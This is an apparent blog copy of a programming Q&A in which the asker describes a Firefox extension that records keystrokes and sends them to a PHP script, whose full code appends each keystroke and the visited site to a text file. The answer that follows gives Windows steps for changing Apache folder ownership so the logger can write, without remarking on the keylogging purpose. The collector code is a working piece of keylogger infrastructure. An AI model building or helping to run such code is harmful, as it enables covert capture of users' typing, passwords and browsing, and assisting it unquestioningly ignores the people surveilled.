John Davidson

php - A way to change the ownership of Apache to order creating txt file

0 comments
Message:


Could you please tell me how to change Apache ownership in Windows if you guys know, since I cannot create txt files using PHP without permission. According to my issue, I need to be able to authorise a file to be made.


What I am trying to do is create a script that records keystrokes in the Firefox extension section. This script will send the data to an Apache PHP file and store it in a text file. I would appreciate your response if you could.


<?php
session_start();
if (!isset($_POST['key'])) {
echo ("Didn't received any new KEY strokes Yet!");
exit(0);
}
//read and write = a+, If the file does not exist, attempt to create it
$file_log = fopen("key.txt","a+");

if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) {
$_SESSION['site'] = $_POST['site'];
fwrite($file_log, "| site : ".$_POST['site']." | ");


}


fwrite($file_log,$_POST['key']);
fclose($file_log);
echo("text saved successfully");


My Answer:
In Windows, you can change the ownership of Apache by following these steps:

1. Right-click on the folder where Apache is installed (usually C:\Program Files\Apache Software Foundation\Apache2.2) and select "Properties".
2. Go to the "Security" tab and click on the "Advanced" button.
3. In the "Advanced Security Settings" window, click on the "Owner" tab.
4. Click on the "Edit" button and select the user account that you want to set as the owner of the folder.
5. Check the box that says "Replace owner on subcontainers and objects" and click "OK".
6. Click "OK" again to close the "Advanced Security Settings" window.
7. You may need to restart Apache for the changes to take effect.

After changing the ownership of Apache, you should be able to create text files using PHP without permission issues.

Rate this post

4 of 5 based on 1599 votes

Comments




© 2024 Hayatsk.info - Personal Blogs Platform. All Rights Reserved.
Create blog  |  Privacy Policy  |  Terms & Conditions  |  Contact Us